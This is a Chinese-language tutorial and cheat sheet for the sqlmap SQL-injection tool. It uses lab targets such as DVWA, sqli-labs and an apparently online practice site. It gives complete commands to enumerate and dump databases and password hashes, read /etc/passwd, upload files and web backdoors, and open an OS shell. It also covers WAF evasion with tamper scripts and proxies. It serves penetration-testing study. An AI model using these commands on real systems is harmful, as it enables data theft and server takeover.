sqlmap使用
kali环境
-
-u或–url
直接扫描单个路径
//如果需要登录要有cookie sqlmap -u "http://10.0.0.6:8080/vulnerabilities/sqli/?id=1" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir; security=low"
-
-m
文件中保存多个url,工具会依次扫描
url1 url2 url3
-
-r
从文件中获取http请求
sqlmap -r text.txt
文件内容直接copy
当请求是HTTPS的时候,需要配合–force-ssl参数来使用,或者可以在Host头后面加上:443
-
请求设置
--method:指定请求方法 --data:把数据以POST方式提交 --param:当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数 --cookie:设置cookie,提交请求的时候附带所设置的cookie --load-cookies:从文件获取cookie --user-agent:可以使用–user-anget参数来修改 --headers:可以通过–headers参数来增加额外的http头 --proxy:设置代理,可以避免本机地址被封禁 --delay:可以设定两个HTTP(S)请求间的延迟 防止发送过快导致被封ip --random-agent:使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。当–level 参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。 --referer:在请求目标的时候可以自己伪造请求包中的referer –-level参数设定为3或者3以上的时候会尝试对referer注入。
以POST方式提交 sqlmap -u "url" --data="id=1" 正则过滤目标网址 --scope="(www)?\.target\.(com|net|org)" --safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。 --safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。 -o 开启所有优化开关
-p:设置想要测试的参数 -p "id,user-anget" 请求里面的参数 --skip:不想要测试的参数可以通过 skip设置跳过 --skip="user-agent,referer" --dbms:指定数据库 节省sqlmap自己检测的时间 --os:指定数据库服务系统 节省sqlmap自己检测的时间 --tamper:使用sqlmap自带的tamper(脚本),或者自己写的tamper,来混淆payload,通常用来绕过 waf和ips。
在有些时候web服务器使用了伪静态,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*
"http://magedu/param1/value1*/param2/value2/"
-
信息
-a, --all 获取所有信息 -b, --banner 获取数据库管理系统的标识 --current-user 获取数据库管理系统当前用户 --current-db 获取数据库管理系统当前数据库 --hostname 获取数据库服务器的主机名称 --is-dba 检测DBMS当前用户是否DBA(数据库管理员) --users 枚举数据库管理系统用户 --passwords 枚举数据库管理系统用户密码哈希 --privileges 枚举数据库管理系统用户的权限 --roles 枚举数据库管理系统用户的角色 --dbs 枚举数据库管理系统数据库 --tables 枚举的DBMS数据库中的表 --columns 枚举DBMS数据库表列 --schema 枚举数据库架构 --count 检索表的项目数 --dump 转储数据库表项,即下载 --dump-all 转储数据库所有表项 --search 搜索列(S),表(S)和/或数据库名称(S) --comments 获取DBMS注释 -D DB 要进行枚举的指定数据库名 -T TBL DBMS数据库表枚举 -C COL DBMS数据库表列枚举 -X EXCLUDECOL DBMS数据库表不进行枚举 -U USER 用来进行枚举的数据库用户 --exclude-sysdbs 枚举表时排除系统数据库 --pivot-column=P.. Pivot columnname --where=DUMPWHERE Use WHEREcondition while table dumping --start=LIMITSTART 获取第一个查询输出数据位置 --stop=LIMITSTOP 获取最后查询的输出数据 --first=FIRSTCHAR 第一个查询输出字的字符获取 --last=LASTCHAR 最后查询的输出字字符获取 --sql-query=QUERY 要执行的SQL语句 --sql-shell 提示交互式SQL的shell --sql-file=SQLFILE 要执行的SQL文件
-
爆破
--common-tables 检查存在共同表 --common-columns 检查存在共同列 User-defined function injection(用户自定义函数注入): --udf-inject 注入用户自定义函数 --shared-lib=SHLIB 共享库的本地路径
-
访问文件
--file-read=RFILE 从后端的数据库管理系统读取文件 --file-write=WFILE 上传文件到后端的数据库管理系统 --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 --file-read "/etc/passwd" --file-write="/opt/test_code/user.txt" --filedest="/var/www/html/user.txt"
-
访问数据库
--os-cmd=OSCMD 执行操作系统命令 --os-shell 交互式的操作系统的shell --os-pwn 获取一个OOB shell,meterpreter或VNC --os-smbrelay 一键获取一个OOB shell,meterpreter或VNC --os-bof 存储过程缓冲区溢出利用 --priv-esc 数据库进程用户权限提升 --msf-path=MSFPATH Metasploit Framework 本地的安装路径 --tmp-path=TMPPATH 远程临时文件目录的绝对路径
-
操作
找出数据库 sqlmap -r text.txt -p id --dbs 使用-D,-T参数指定想要获取哪个库的哪个表,不使用-D参数时,默认使用当前库 找出数据库所有得表 sqlmap -r text.txt -D dvwa --tables 找出表的所有字段 sqlmap -r text.txt -D dvwa -T users --columns 找出数据,-D dvwa(数据库) -T users(表) -C last_name,password(字段) sqlmap -r text.txt -D dvwa -T users -C last_name,password --dump
参数:--dump-all,--exclude-sysdbs 使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs排除系统数据库,只获取用户数据库的表,即业务数据
参数:–os-cmd,–os-shell
用–os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。
当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE
写进可写目录,来创建一个web后门 -
爬虫
爬行网站URL 参数:--crawl sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。此时的URL可以不带参数
“–batch”命令来自动答复和判断
–crawl=3 3为深度
参数:–dump-format
输出的格式可定义为:CSV,HTML,SQLITE参数:–output-dir
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–
output-dir=/tmp
补充
sqlmap -r http.txt #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色,仅适用于oracle数据库的时候
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd #执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL" #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080" #指定代理
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
-v3 #输出详细度 最大值5 会显示请求包和回复包
--threads 5 #指定线程数
--fresh-queries #清除缓存
--flush-session #清空会话,重构注入
--batch #对所有的交互式的都是默认的
--random-agent #任意的http头
--tamper base64encode #对提交的数据进行base64编码
--referer http://www.baidu.com #伪造referer字段
--keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞
//需要登录的
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #探测该url是否存在漏洞
"http://192.168.10.1/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
--identify-waf 检测是否有WAF
//直接获取shell(当前sql用户有写入权限)
sqlmap -u "http://rykm6453.ia.aqlab.cn/single.php?id=1" --random-agent --os-shell
、